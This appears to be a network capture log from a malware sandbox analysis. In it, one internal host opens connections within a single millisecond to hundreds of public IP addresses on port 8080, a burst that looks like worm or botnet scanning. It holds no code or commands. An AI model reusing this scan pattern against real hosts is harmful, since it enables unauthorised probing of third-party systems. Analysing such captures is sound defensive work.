Feb 27, 2025 07:08:35.537262917 CET	25538	8080	192.168.2.14	85.120.20.8
Feb 27, 2025 07:08:35.537270069 CET	25538	8080	192.168.2.14	31.176.107.62
Feb 27, 2025 07:08:35.537270069 CET	25538	8080	192.168.2.14	31.145.207.117
Feb 27, 2025 07:08:35.537277937 CET	25538	8080	192.168.2.14	62.41.136.97
Feb 27, 2025 07:08:35.537285089 CET	25538	8080	192.168.2.14	94.161.22.197
Feb 27, 2025 07:08:35.537286043 CET	25538	8080	192.168.2.14	62.210.13.79
Feb 27, 2025 07:08:35.537287951 CET	25538	8080	192.168.2.14	31.117.253.108
Feb 27, 2025 07:08:35.537293911 CET	25538	8080	192.168.2.14	85.39.20.67
Feb 27, 2025 07:08:35.537295103 CET	25538	8080	192.168.2.14	85.131.41.55
Feb 27, 2025 07:08:35.537295103 CET	25538	8080	192.168.2.14	62.171.144.248
Feb 27, 2025 07:08:35.537296057 CET	25538	8080	192.168.2.14	62.83.66.118
Feb 27, 2025 07:08:35.537296057 CET	25538	8080	192.168.2.14	95.129.16.146
Feb 27, 2025 07:08:35.537296057 CET	25538	8080	192.168.2.14	31.211.101.105
Feb 27, 2025 07:08:35.537303925 CET	25538	8080	192.168.2.14	62.15.18.114
Feb 27, 2025 07:08:35.537309885 CET	25538	8080	192.168.2.14	62.133.220.178
Feb 27, 2025 07:08:35.537309885 CET	25538	8080	192.168.2.14	31.155.212.205
Feb 27, 2025 07:08:35.537312031 CET	25538	8080	192.168.2.14	62.239.101.80
Feb 27, 2025 07:08:35.537311077 CET	25538	8080	192.168.2.14	31.197.234.37
Feb 27, 2025 07:08:35.537312031 CET	25538	8080	192.168.2.14	94.155.177.239
Feb 27, 2025 07:08:35.537328959 CET	25538	8080	192.168.2.14	95.219.251.202
Feb 27, 2025 07:08:35.537343979 CET	25538	8080	192.168.2.14	94.228.166.193
Feb 27, 2025 07:08:35.537344933 CET	25538	8080	192.168.2.14	94.72.169.52
Feb 27, 2025 07:08:35.537349939 CET	25538	8080	192.168.2.14	85.156.221.210
Feb 27, 2025 07:08:35.537359953 CET	25538	8080	192.168.2.14	95.70.20.83
Feb 27, 2025 07:08:35.537365913 CET	25538	8080	192.168.2.14	95.237.181.26
Feb 27, 2025 07:08:35.537365913 CET	25538	8080	192.168.2.14	94.104.236.156
Feb 27, 2025 07:08:35.537369013 CET	25538	8080	192.168.2.14	62.66.71.96
Feb 27, 2025 07:08:35.537369013 CET	25538	8080	192.168.2.14	95.9.178.127
Feb 27, 2025 07:08:35.537374973 CET	25538	8080	192.168.2.14	31.209.50.120
Feb 27, 2025 07:08:35.537378073 CET	25538	8080	192.168.2.14	85.16.104.107
Feb 27, 2025 07:08:35.537378073 CET	25538	8080	192.168.2.14	94.75.245.218
Feb 27, 2025 07:08:35.537390947 CET	25538	8080	192.168.2.14	85.136.213.38
Feb 27, 2025 07:08:35.537393093 CET	25538	8080	192.168.2.14	62.19.24.167
Feb 27, 2025 07:08:35.537393093 CET	25538	8080	192.168.2.14	95.99.250.194
Feb 27, 2025 07:08:35.537395000 CET	25538	8080	192.168.2.14	62.167.109.105
Feb 27, 2025 07:08:35.537393093 CET	25538	8080	192.168.2.14	94.65.171.116
Feb 27, 2025 07:08:35.537395954 CET	25538	8080	192.168.2.14	31.69.35.167
Feb 27, 2025 07:08:35.537395954 CET	25538	8080	192.168.2.14	62.189.168.37
Feb 27, 2025 07:08:35.537410975 CET	25538	8080	192.168.2.14	94.100.42.202
Feb 27, 2025 07:08:35.537414074 CET	25538	8080	192.168.2.14	94.234.180.71
Feb 27, 2025 07:08:35.537415981 CET	25538	8080	192.168.2.14	31.245.149.76
Feb 27, 2025 07:08:35.537415981 CET	25538	8080	192.168.2.14	94.243.186.87
Feb 27, 2025 07:08:35.537421942 CET	25538	8080	192.168.2.14	85.10.103.10
Feb 27, 2025 07:08:35.537431002 CET	25538	8080	192.168.2.14	94.208.147.178
Feb 27, 2025 07:08:35.537431002 CET	25538	8080	192.168.2.14	95.34.118.52
Feb 27, 2025 07:08:35.537431002 CET	25538	8080	192.168.2.14	95.12.194.241
Feb 27, 2025 07:08:35.537437916 CET	25538	8080	192.168.2.14	95.13.142.117
Feb 27, 2025 07:08:35.537437916 CET	25538	8080	192.168.2.14	85.77.125.134
Feb 27, 2025 07:08:35.537444115 CET	25538	8080	192.168.2.14	31.153.169.97
Feb 27, 2025 07:08:35.537446976 CET	25538	8080	192.168.2.14	95.65.64.243
Feb 27, 2025 07:08:35.537508965 CET	25538	8080	192.168.2.14	85.247.46.2
Feb 27, 2025 07:08:35.537517071 CET	25538	8080	192.168.2.14	85.200.87.145
Feb 27, 2025 07:08:35.537517071 CET	25538	8080	192.168.2.14	31.102.238.128
Feb 27, 2025 07:08:35.537525892 CET	25538	8080	192.168.2.14	95.96.77.152
Feb 27, 2025 07:08:35.537525892 CET	25538	8080	192.168.2.14	94.162.137.18
Feb 27, 2025 07:08:35.537527084 CET	25538	8080	192.168.2.14	94.232.57.116
Feb 27, 2025 07:08:35.537527084 CET	25538	8080	192.168.2.14	95.143.31.8
Feb 27, 2025 07:08:35.537527084 CET	25538	8080	192.168.2.14	95.107.168.151
Feb 27, 2025 07:08:35.537529945 CET	25538	8080	192.168.2.14	62.51.224.127
Feb 27, 2025 07:08:35.537527084 CET	25538	8080	192.168.2.14	62.225.174.208
Feb 27, 2025 07:08:35.537529945 CET	25538	8080	192.168.2.14	95.67.25.182
Feb 27, 2025 07:08:35.537544966 CET	25538	8080	192.168.2.14	31.247.90.27
Feb 27, 2025 07:08:35.537548065 CET	25538	8080	192.168.2.14	62.207.82.112
Feb 27, 2025 07:08:35.537548065 CET	25538	8080	192.168.2.14	62.248.26.41
Feb 27, 2025 07:08:35.537548065 CET	25538	8080	192.168.2.14	85.225.220.201
Feb 27, 2025 07:08:35.537548065 CET	25538	8080	192.168.2.14	94.66.168.147
Feb 27, 2025 07:08:35.537553072 CET	25538	8080	192.168.2.14	95.108.7.188
Feb 27, 2025 07:08:35.537553072 CET	25538	8080	192.168.2.14	95.232.196.212
Feb 27, 2025 07:08:35.537554979 CET	25538	8080	192.168.2.14	85.105.60.145
Feb 27, 2025 07:08:35.537554979 CET	25538	8080	192.168.2.14	31.14.107.228
Feb 27, 2025 07:08:35.537556887 CET	25538	8080	192.168.2.14	62.78.75.23
Feb 27, 2025 07:08:35.537560940 CET	25538	8080	192.168.2.14	85.170.88.194
Feb 27, 2025 07:08:35.537571907 CET	25538	8080	192.168.2.14	31.67.132.50
Feb 27, 2025 07:08:35.537573099 CET	25538	8080	192.168.2.14	62.154.143.53
Feb 27, 2025 07:08:35.537579060 CET	25538	8080	192.168.2.14	95.3.226.185
Feb 27, 2025 07:08:35.537579060 CET	25538	8080	192.168.2.14	31.85.211.75
Feb 27, 2025 07:08:35.537580013 CET	25538	8080	192.168.2.14	85.50.79.50
Feb 27, 2025 07:08:35.537580013 CET	25538	8080	192.168.2.14	94.4.53.167
Feb 27, 2025 07:08:35.537581921 CET	25538	8080	192.168.2.14	31.171.40.159
Feb 27, 2025 07:08:35.537590027 CET	25538	8080	192.168.2.14	62.106.134.189
Feb 27, 2025 07:08:35.537590027 CET	25538	8080	192.168.2.14	95.136.6.255
Feb 27, 2025 07:08:35.537590027 CET	25538	8080	192.168.2.14	85.203.139.80
Feb 27, 2025 07:08:35.537594080 CET	25538	8080	192.168.2.14	62.170.157.196
Feb 27, 2025 07:08:35.537590027 CET	25538	8080	192.168.2.14	62.174.149.204
Feb 27, 2025 07:08:35.537594080 CET	25538	8080	192.168.2.14	94.67.255.219
Feb 27, 2025 07:08:35.537594080 CET	25538	8080	192.168.2.14	62.148.108.232
Feb 27, 2025 07:08:35.537604094 CET	25538	8080	192.168.2.14	85.157.140.154
Feb 27, 2025 07:08:35.537604094 CET	25538	8080	192.168.2.14	62.63.39.246
Feb 27, 2025 07:08:35.537611008 CET	25538	8080	192.168.2.14	62.102.75.120
Feb 27, 2025 07:08:35.537616014 CET	25538	8080	192.168.2.14	85.217.43.30
Feb 27, 2025 07:08:35.537616968 CET	25538	8080	192.168.2.14	95.70.172.57
Feb 27, 2025 07:08:35.537626982 CET	25538	8080	192.168.2.14	95.148.23.160
Feb 27, 2025 07:08:35.537626982 CET	25538	8080	192.168.2.14	85.146.161.138
Feb 27, 2025 07:08:35.537632942 CET	25538	8080	192.168.2.14	31.108.234.190
Feb 27, 2025 07:08:35.537647009 CET	25538	8080	192.168.2.14	31.254.50.95
Feb 27, 2025 07:08:35.537647009 CET	25538	8080	192.168.2.14	94.122.237.102
Feb 27, 2025 07:08:35.537676096 CET	25538	8080	192.168.2.14	85.132.48.81
Feb 27, 2025 07:08:35.537688971 CET	25538	8080	192.168.2.14	85.233.69.44
Feb 27, 2025 07:08:35.537691116 CET	25538	8080	192.168.2.14	31.101.251.209
Feb 27, 2025 07:08:35.537693024 CET	25538	8080	192.168.2.14	85.24.185.184
Feb 27, 2025 07:08:35.537688971 CET	25538	8080	192.168.2.14	94.98.168.69
Feb 27, 2025 07:08:35.537700891 CET	25538	8080	192.168.2.14	31.195.39.37
Feb 27, 2025 07:08:35.537700891 CET	25538	8080	192.168.2.14	94.156.157.138
Feb 27, 2025 07:08:35.537700891 CET	25538	8080	192.168.2.14	31.88.159.88
Feb 27, 2025 07:08:35.537700891 CET	25538	8080	192.168.2.14	31.216.22.253
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	94.7.245.71
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	31.43.167.214
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	95.192.237.207
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	85.116.245.252
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	95.150.211.224
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	31.147.129.7
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	85.231.218.182
Feb 27, 2025 07:08:35.537703037 CET	25538	8080	192.168.2.14	95.78.209.60
Feb 27, 2025 07:08:35.537719011 CET	25538	8080	192.168.2.14	94.246.220.3
Feb 27, 2025 07:08:35.537719011 CET	25538	8080	192.168.2.14	94.123.151.35
Feb 27, 2025 07:08:35.537719011 CET	25538	8080	192.168.2.14	31.230.51.61
Feb 27, 2025 07:08:35.537719011 CET	25538	8080	192.168.2.14	31.163.71.71
Feb 27, 2025 07:08:35.537722111 CET	25538	8080	192.168.2.14	95.154.37.243
Feb 27, 2025 07:08:35.537722111 CET	25538	8080	192.168.2.14	62.226.197.42
Feb 27, 2025 07:08:35.537724972 CET	25538	8080	192.168.2.14	94.112.3.59
Feb 27, 2025 07:08:35.537729025 CET	25538	8080	192.168.2.14	31.46.67.28
Feb 27, 2025 07:08:35.537729979 CET	25538	8080	192.168.2.14	94.231.92.176
Feb 27, 2025 07:08:35.537729979 CET	25538	8080	192.168.2.14	94.42.20.217
Feb 27, 2025 07:08:35.537729979 CET	25538	8080	192.168.2.14	31.152.204.200
Feb 27, 2025 07:08:35.537729979 CET	25538	8080	192.168.2.14	62.173.94.1
Feb 27, 2025 07:08:35.537734032 CET	25538	8080	192.168.2.14	94.93.50.156
Feb 27, 2025 07:08:35.537735939 CET	25538	8080	192.168.2.14	85.246.96.191
Feb 27, 2025 07:08:35.537735939 CET	25538	8080	192.168.2.14	94.250.52.248
Feb 27, 2025 07:08:35.537736893 CET	25538	8080	192.168.2.14	85.203.43.129
Feb 27, 2025 07:08:35.537736893 CET	25538	8080	192.168.2.14	62.101.2.131
Feb 27, 2025 07:08:35.537748098 CET	25538	8080	192.168.2.14	85.83.86.172
Feb 27, 2025 07:08:35.537748098 CET	25538	8080	192.168.2.14	31.90.93.109
Feb 27, 2025 07:08:35.537748098 CET	25538	8080	192.168.2.14	62.248.80.84
Feb 27, 2025 07:08:35.537749052 CET	25538	8080	192.168.2.14	94.126.24.159
Feb 27, 2025 07:08:35.537748098 CET	25538	8080	192.168.2.14	95.166.14.247
Feb 27, 2025 07:08:35.537750959 CET	25538	8080	192.168.2.14	95.0.213.227
Feb 27, 2025 07:08:35.537748098 CET	25538	8080	192.168.2.14	31.76.180.46
Feb 27, 2025 07:08:35.537750959 CET	25538	8080	192.168.2.14	94.232.138.186
Feb 27, 2025 07:08:35.537750959 CET	25538	8080	192.168.2.14	95.250.244.35
Feb 27, 2025 07:08:35.537767887 CET	25538	8080	192.168.2.14	62.69.254.176
Feb 27, 2025 07:08:35.537772894 CET	25538	8080	192.168.2.14	95.85.118.128
Feb 27, 2025 07:08:35.537772894 CET	25538	8080	192.168.2.14	95.95.85.46
Feb 27, 2025 07:08:35.537772894 CET	25538	8080	192.168.2.14	94.255.69.131
Feb 27, 2025 07:08:35.537774086 CET	25538	8080	192.168.2.14	95.116.127.204
Feb 27, 2025 07:08:35.537774086 CET	25538	8080	192.168.2.14	94.218.168.51
Feb 27, 2025 07:08:35.537787914 CET	25538	8080	192.168.2.14	62.123.114.66
Feb 27, 2025 07:08:35.537794113 CET	25538	8080	192.168.2.14	95.122.194.118
Feb 27, 2025 07:08:35.537794113 CET	25538	8080	192.168.2.14	31.26.20.130
Feb 27, 2025 07:08:35.537794113 CET	25538	8080	192.168.2.14	31.194.228.94
Feb 27, 2025 07:08:35.537801027 CET	25538	8080	192.168.2.14	95.10.32.179
Feb 27, 2025 07:08:35.537801027 CET	25538	8080	192.168.2.14	31.22.45.121
Feb 27, 2025 07:08:35.537817001 CET	25538	8080	192.168.2.14	62.125.120.201
Feb 27, 2025 07:08:35.537817001 CET	25538	8080	192.168.2.14	95.203.163.122
Feb 27, 2025 07:08:35.537817001 CET	25538	8080	192.168.2.14	95.219.169.212
Feb 27, 2025 07:08:35.537817001 CET	25538	8080	192.168.2.14	31.71.100.239
Feb 27, 2025 07:08:35.537822962 CET	25538	8080	192.168.2.14	94.32.135.181
Feb 27, 2025 07:08:35.537822962 CET	25538	8080	192.168.2.14	95.97.147.168
Feb 27, 2025 07:08:35.537828922 CET	25538	8080	192.168.2.14	95.162.246.249
Feb 27, 2025 07:08:35.537828922 CET	25538	8080	192.168.2.14	95.153.167.39
Feb 27, 2025 07:08:35.537828922 CET	25538	8080	192.168.2.14	94.29.13.124
Feb 27, 2025 07:08:35.537838936 CET	25538	8080	192.168.2.14	95.109.115.65
Feb 27, 2025 07:08:35.537838936 CET	25538	8080	192.168.2.14	94.15.11.123
Feb 27, 2025 07:08:35.537841082 CET	25538	8080	192.168.2.14	62.210.24.246
Feb 27, 2025 07:08:35.537841082 CET	25538	8080	192.168.2.14	95.4.211.251
Feb 27, 2025 07:08:35.537847042 CET	25538	8080	192.168.2.14	85.1.91.71
Feb 27, 2025 07:08:35.537858009 CET	25538	8080	192.168.2.14	95.85.109.8
Feb 27, 2025 07:08:35.537858009 CET	41998	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:35.537863970 CET	25538	8080	192.168.2.14	95.13.168.242
Feb 27, 2025 07:08:35.537867069 CET	25538	8080	192.168.2.14	31.104.186.203
Feb 27, 2025 07:08:35.537877083 CET	25538	8080	192.168.2.14	85.80.76.62
Feb 27, 2025 07:08:35.537878036 CET	25538	8080	192.168.2.14	31.161.207.162
Feb 27, 2025 07:08:35.537879944 CET	25538	8080	192.168.2.14	62.187.24.191
Feb 27, 2025 07:08:35.537879944 CET	25538	8080	192.168.2.14	95.119.199.46
Feb 27, 2025 07:08:35.537890911 CET	25538	8080	192.168.2.14	62.54.68.254
Feb 27, 2025 07:08:35.537893057 CET	25538	8080	192.168.2.14	85.12.164.66
Feb 27, 2025 07:08:35.537893057 CET	25538	8080	192.168.2.14	85.209.188.57
Feb 27, 2025 07:08:35.537897110 CET	25538	8080	192.168.2.14	94.103.197.158
Feb 27, 2025 07:08:35.537895918 CET	25538	8080	192.168.2.14	85.226.41.179
Feb 27, 2025 07:08:35.537906885 CET	25538	8080	192.168.2.14	31.111.200.73
Feb 27, 2025 07:08:35.537906885 CET	25538	8080	192.168.2.14	31.77.181.191
Feb 27, 2025 07:08:35.537915945 CET	25538	8080	192.168.2.14	94.152.190.129
Feb 27, 2025 07:08:35.537915945 CET	25538	8080	192.168.2.14	31.145.27.22
Feb 27, 2025 07:08:35.537915945 CET	25538	8080	192.168.2.14	85.112.85.40
Feb 27, 2025 07:08:35.537923098 CET	25538	8080	192.168.2.14	85.67.105.254
Feb 27, 2025 07:08:35.537923098 CET	25538	8080	192.168.2.14	62.32.244.218
Feb 27, 2025 07:08:35.537923098 CET	25538	8080	192.168.2.14	85.30.65.78
Feb 27, 2025 07:08:35.537931919 CET	25538	8080	192.168.2.14	62.39.190.185
Feb 27, 2025 07:08:35.537960052 CET	25538	8080	192.168.2.14	31.236.93.166
Feb 27, 2025 07:08:35.537960052 CET	25538	8080	192.168.2.14	95.69.95.93
Feb 27, 2025 07:08:35.537962914 CET	25538	8080	192.168.2.14	62.206.162.115
Feb 27, 2025 07:08:35.537967920 CET	25538	8080	192.168.2.14	62.241.113.176
Feb 27, 2025 07:08:35.537967920 CET	25538	8080	192.168.2.14	95.202.125.205
Feb 27, 2025 07:08:35.537970066 CET	25538	8080	192.168.2.14	95.82.215.143
Feb 27, 2025 07:08:35.537971973 CET	25538	8080	192.168.2.14	85.114.225.139
Feb 27, 2025 07:08:35.537970066 CET	25538	8080	192.168.2.14	95.255.36.11
Feb 27, 2025 07:08:35.537971973 CET	25538	8080	192.168.2.14	94.237.82.54
Feb 27, 2025 07:08:35.537969112 CET	25538	8080	192.168.2.14	62.186.68.253
Feb 27, 2025 07:08:35.537971973 CET	25538	8080	192.168.2.14	85.247.245.198
Feb 27, 2025 07:08:35.537981033 CET	25538	8080	192.168.2.14	94.255.170.68
Feb 27, 2025 07:08:35.537982941 CET	25538	8080	192.168.2.14	94.79.181.93
Feb 27, 2025 07:08:35.537983894 CET	25538	8080	192.168.2.14	31.168.9.198
Feb 27, 2025 07:08:35.537983894 CET	25538	8080	192.168.2.14	62.182.205.51
Feb 27, 2025 07:08:35.537991047 CET	25538	8080	192.168.2.14	95.197.107.184
Feb 27, 2025 07:08:35.537992001 CET	25538	8080	192.168.2.14	94.22.248.44
Feb 27, 2025 07:08:35.537993908 CET	25538	8080	192.168.2.14	95.76.120.206
Feb 27, 2025 07:08:35.537998915 CET	25538	8080	192.168.2.14	94.121.125.172
Feb 27, 2025 07:08:35.538001060 CET	25538	8080	192.168.2.14	94.114.0.165
Feb 27, 2025 07:08:35.538013935 CET	25538	8080	192.168.2.14	31.101.113.142
Feb 27, 2025 07:08:35.538013935 CET	25538	8080	192.168.2.14	85.224.48.1
Feb 27, 2025 07:08:35.538014889 CET	25538	8080	192.168.2.14	31.160.110.93
Feb 27, 2025 07:08:35.538019896 CET	25538	8080	192.168.2.14	31.99.1.193
Feb 27, 2025 07:08:35.538026094 CET	25538	8080	192.168.2.14	94.225.95.142
Feb 27, 2025 07:08:35.538026094 CET	25538	8080	192.168.2.14	62.69.208.65
Feb 27, 2025 07:08:35.538031101 CET	25538	8080	192.168.2.14	31.187.50.111
Feb 27, 2025 07:08:35.538031101 CET	25538	8080	192.168.2.14	85.245.224.199
Feb 27, 2025 07:08:35.538031101 CET	25538	8080	192.168.2.14	85.205.5.195
Feb 27, 2025 07:08:35.538038969 CET	25538	8080	192.168.2.14	94.239.167.149
Feb 27, 2025 07:08:35.538044930 CET	25538	8080	192.168.2.14	31.19.109.35
Feb 27, 2025 07:08:35.538044930 CET	25538	8080	192.168.2.14	62.1.7.9
Feb 27, 2025 07:08:35.538067102 CET	25538	8080	192.168.2.14	85.151.111.38
Feb 27, 2025 07:08:35.538067102 CET	25538	8080	192.168.2.14	31.154.88.232
Feb 27, 2025 07:08:35.538069010 CET	25538	8080	192.168.2.14	95.252.219.164
Feb 27, 2025 07:08:35.538069010 CET	25538	8080	192.168.2.14	95.30.107.90
Feb 27, 2025 07:08:35.538068056 CET	25538	8080	192.168.2.14	95.181.80.55
Feb 27, 2025 07:08:35.538069010 CET	25538	8080	192.168.2.14	94.87.239.228
Feb 27, 2025 07:08:35.538069010 CET	25538	8080	192.168.2.14	95.244.125.61
Feb 27, 2025 07:08:35.538075924 CET	25538	8080	192.168.2.14	94.177.27.5
Feb 27, 2025 07:08:35.538075924 CET	25538	8080	192.168.2.14	62.157.172.174
Feb 27, 2025 07:08:35.538094997 CET	25538	8080	192.168.2.14	94.179.139.129
Feb 27, 2025 07:08:35.538095951 CET	25538	8080	192.168.2.14	94.134.51.112
Feb 27, 2025 07:08:35.538094997 CET	25538	8080	192.168.2.14	85.199.98.17
Feb 27, 2025 07:08:35.538100958 CET	25538	8080	192.168.2.14	95.237.22.235
Feb 27, 2025 07:08:35.538106918 CET	25538	8080	192.168.2.14	62.106.89.32
Feb 27, 2025 07:08:35.538110018 CET	25538	8080	192.168.2.14	31.146.47.196
Feb 27, 2025 07:08:35.538110971 CET	25538	8080	192.168.2.14	62.34.242.255
Feb 27, 2025 07:08:35.538110971 CET	25538	8080	192.168.2.14	95.48.226.171
Feb 27, 2025 07:08:35.538110971 CET	25538	8080	192.168.2.14	31.61.200.136
Feb 27, 2025 07:08:35.538122892 CET	25538	8080	192.168.2.14	85.22.62.233
Feb 27, 2025 07:08:35.538122892 CET	25538	8080	192.168.2.14	95.134.153.58
Feb 27, 2025 07:08:35.538122892 CET	25538	8080	192.168.2.14	95.229.148.122
Feb 27, 2025 07:08:35.538125992 CET	25538	8080	192.168.2.14	94.157.163.208
Feb 27, 2025 07:08:35.538126945 CET	25538	8080	192.168.2.14	95.87.177.208
Feb 27, 2025 07:08:35.538125992 CET	25538	8080	192.168.2.14	62.197.203.10
Feb 27, 2025 07:08:35.538136005 CET	25538	8080	192.168.2.14	85.94.147.188
Feb 27, 2025 07:08:35.538136005 CET	25538	8080	192.168.2.14	85.105.211.94
Feb 27, 2025 07:08:35.538144112 CET	25538	8080	192.168.2.14	62.118.34.73
Feb 27, 2025 07:08:35.538145065 CET	25538	8080	192.168.2.14	62.175.211.145
Feb 27, 2025 07:08:35.538146973 CET	25538	8080	192.168.2.14	95.161.65.167
Feb 27, 2025 07:08:35.538146973 CET	25538	8080	192.168.2.14	94.46.47.25
Feb 27, 2025 07:08:35.538150072 CET	25538	8080	192.168.2.14	94.169.91.146
Feb 27, 2025 07:08:35.538150072 CET	25538	8080	192.168.2.14	62.99.193.6
Feb 27, 2025 07:08:35.538151026 CET	25538	8080	192.168.2.14	85.172.208.59
Feb 27, 2025 07:08:35.538146973 CET	25538	8080	192.168.2.14	94.18.7.227
Feb 27, 2025 07:08:35.538166046 CET	25538	8080	192.168.2.14	31.132.130.147
Feb 27, 2025 07:08:35.538176060 CET	25538	8080	192.168.2.14	62.211.104.69
Feb 27, 2025 07:08:35.538180113 CET	25538	8080	192.168.2.14	31.103.132.218
Feb 27, 2025 07:08:35.538180113 CET	25538	8080	192.168.2.14	94.80.21.22
Feb 27, 2025 07:08:35.538182020 CET	25538	8080	192.168.2.14	95.200.39.119
Feb 27, 2025 07:08:35.538182974 CET	25538	8080	192.168.2.14	31.249.178.244
Feb 27, 2025 07:08:35.538182974 CET	25538	8080	192.168.2.14	94.63.155.23
Feb 27, 2025 07:08:35.538182974 CET	25538	8080	192.168.2.14	31.178.174.76
Feb 27, 2025 07:08:35.538182974 CET	25538	8080	192.168.2.14	85.158.22.164
Feb 27, 2025 07:08:35.538192034 CET	25538	8080	192.168.2.14	94.47.193.221
Feb 27, 2025 07:08:35.538192034 CET	25538	8080	192.168.2.14	95.121.215.228
Feb 27, 2025 07:08:35.538192034 CET	25538	8080	192.168.2.14	62.53.167.138
Feb 27, 2025 07:08:35.538198948 CET	25538	8080	192.168.2.14	31.31.87.158
Feb 27, 2025 07:08:35.538199902 CET	25538	8080	192.168.2.14	31.19.126.215
Feb 27, 2025 07:08:35.538199902 CET	25538	8080	192.168.2.14	85.16.22.148
Feb 27, 2025 07:08:35.538203001 CET	25538	8080	192.168.2.14	31.183.94.152
Feb 27, 2025 07:08:35.538203001 CET	25538	8080	192.168.2.14	95.76.131.205
Feb 27, 2025 07:08:35.538208961 CET	25538	8080	192.168.2.14	95.118.102.198
Feb 27, 2025 07:08:35.538213015 CET	25538	8080	192.168.2.14	85.111.84.142
Feb 27, 2025 07:08:35.538213015 CET	25538	8080	192.168.2.14	95.77.129.35
Feb 27, 2025 07:08:35.538219929 CET	25538	8080	192.168.2.14	85.186.159.50
Feb 27, 2025 07:08:35.538223982 CET	25538	8080	192.168.2.14	31.139.27.105
Feb 27, 2025 07:08:35.538223982 CET	25538	8080	192.168.2.14	94.69.117.24
Feb 27, 2025 07:08:35.538234949 CET	25538	8080	192.168.2.14	31.86.235.188
Feb 27, 2025 07:08:35.538233995 CET	25538	8080	192.168.2.14	94.24.60.123
Feb 27, 2025 07:08:35.538234949 CET	25538	8080	192.168.2.14	31.0.159.92
Feb 27, 2025 07:08:35.538233995 CET	25538	8080	192.168.2.14	94.218.250.214
Feb 27, 2025 07:08:35.538233995 CET	25538	8080	192.168.2.14	95.225.27.171
Feb 27, 2025 07:08:35.538239002 CET	25538	8080	192.168.2.14	85.143.137.240
Feb 27, 2025 07:08:35.538234949 CET	25538	8080	192.168.2.14	31.100.158.105
Feb 27, 2025 07:08:35.538269043 CET	25538	8080	192.168.2.14	94.203.204.235
Feb 27, 2025 07:08:35.538279057 CET	25538	8080	192.168.2.14	95.62.24.252
Feb 27, 2025 07:08:35.538279057 CET	25538	8080	192.168.2.14	95.47.61.78
Feb 27, 2025 07:08:35.538280964 CET	25538	8080	192.168.2.14	94.133.187.79
Feb 27, 2025 07:08:35.538279057 CET	25538	8080	192.168.2.14	62.172.7.60
Feb 27, 2025 07:08:35.538283110 CET	25538	8080	192.168.2.14	94.135.143.226
Feb 27, 2025 07:08:35.538280964 CET	25538	8080	192.168.2.14	94.84.175.238
Feb 27, 2025 07:08:35.538283110 CET	25538	8080	192.168.2.14	62.192.147.93
Feb 27, 2025 07:08:35.538285017 CET	25538	8080	192.168.2.14	94.192.91.94
Feb 27, 2025 07:08:35.538285017 CET	25538	8080	192.168.2.14	94.174.192.214
Feb 27, 2025 07:08:35.538292885 CET	25538	8080	192.168.2.14	31.140.213.77
Feb 27, 2025 07:08:35.538295031 CET	25538	8080	192.168.2.14	94.158.112.215
Feb 27, 2025 07:08:35.538295984 CET	25538	8080	192.168.2.14	95.179.123.222
Feb 27, 2025 07:08:35.538306952 CET	25538	8080	192.168.2.14	85.119.191.51
Feb 27, 2025 07:08:35.538306952 CET	25538	8080	192.168.2.14	85.31.179.13
Feb 27, 2025 07:08:35.538309097 CET	25538	8080	192.168.2.14	94.77.242.194
Feb 27, 2025 07:08:35.538309097 CET	25538	8080	192.168.2.14	31.192.196.217
Feb 27, 2025 07:08:35.538309097 CET	25538	8080	192.168.2.14	85.137.88.64
Feb 27, 2025 07:08:35.538311005 CET	25538	8080	192.168.2.14	31.224.222.184
Feb 27, 2025 07:08:35.538311958 CET	25538	8080	192.168.2.14	94.171.112.99
Feb 27, 2025 07:08:35.538311958 CET	25538	8080	192.168.2.14	62.49.177.46
Feb 27, 2025 07:08:35.538311005 CET	25538	8080	192.168.2.14	85.17.143.117
Feb 27, 2025 07:08:35.538312912 CET	25538	8080	192.168.2.14	95.175.165.139
Feb 27, 2025 07:08:35.538311958 CET	25538	8080	192.168.2.14	94.67.30.88
Feb 27, 2025 07:08:35.538316965 CET	25538	8080	192.168.2.14	31.196.80.187
Feb 27, 2025 07:08:35.538331032 CET	25538	8080	192.168.2.14	95.81.222.65
Feb 27, 2025 07:08:35.538331032 CET	25538	8080	192.168.2.14	31.130.181.103
Feb 27, 2025 07:08:35.538336992 CET	25538	8080	192.168.2.14	94.29.80.209
Feb 27, 2025 07:08:35.538338900 CET	25538	8080	192.168.2.14	94.166.187.253
Feb 27, 2025 07:08:35.538338900 CET	25538	8080	192.168.2.14	95.222.149.240
Feb 27, 2025 07:08:35.538347960 CET	25538	8080	192.168.2.14	85.182.115.122
Feb 27, 2025 07:08:35.538347960 CET	25538	8080	192.168.2.14	95.90.100.124
Feb 27, 2025 07:08:35.538347960 CET	25538	8080	192.168.2.14	85.13.170.30
Feb 27, 2025 07:08:35.538352966 CET	25538	8080	192.168.2.14	94.53.111.187
Feb 27, 2025 07:08:35.538352966 CET	25538	8080	192.168.2.14	94.77.215.155
Feb 27, 2025 07:08:35.538360119 CET	25538	8080	192.168.2.14	31.217.178.87
Feb 27, 2025 07:08:35.538360119 CET	25538	8080	192.168.2.14	85.137.15.185
Feb 27, 2025 07:08:35.538360119 CET	25538	8080	192.168.2.14	31.126.70.163
Feb 27, 2025 07:08:35.538379908 CET	25538	8080	192.168.2.14	31.128.101.174
Feb 27, 2025 07:08:35.538382053 CET	25538	8080	192.168.2.14	31.34.80.123
Feb 27, 2025 07:08:35.538383961 CET	25538	8080	192.168.2.14	62.190.208.92
Feb 27, 2025 07:08:35.538389921 CET	25538	8080	192.168.2.14	94.54.194.100
Feb 27, 2025 07:08:35.538389921 CET	25538	8080	192.168.2.14	95.40.90.119
Feb 27, 2025 07:08:35.538391113 CET	25538	8080	192.168.2.14	94.237.146.140
Feb 27, 2025 07:08:35.538393021 CET	25538	8080	192.168.2.14	62.117.228.96
Feb 27, 2025 07:08:35.538391113 CET	25538	8080	192.168.2.14	31.146.25.70
Feb 27, 2025 07:08:35.538402081 CET	25538	8080	192.168.2.14	85.99.239.252
Feb 27, 2025 07:08:35.538400888 CET	25538	8080	192.168.2.14	94.163.31.114
Feb 27, 2025 07:08:35.538403988 CET	25538	8080	192.168.2.14	85.39.250.235
Feb 27, 2025 07:08:35.538402081 CET	25538	8080	192.168.2.14	31.101.199.182
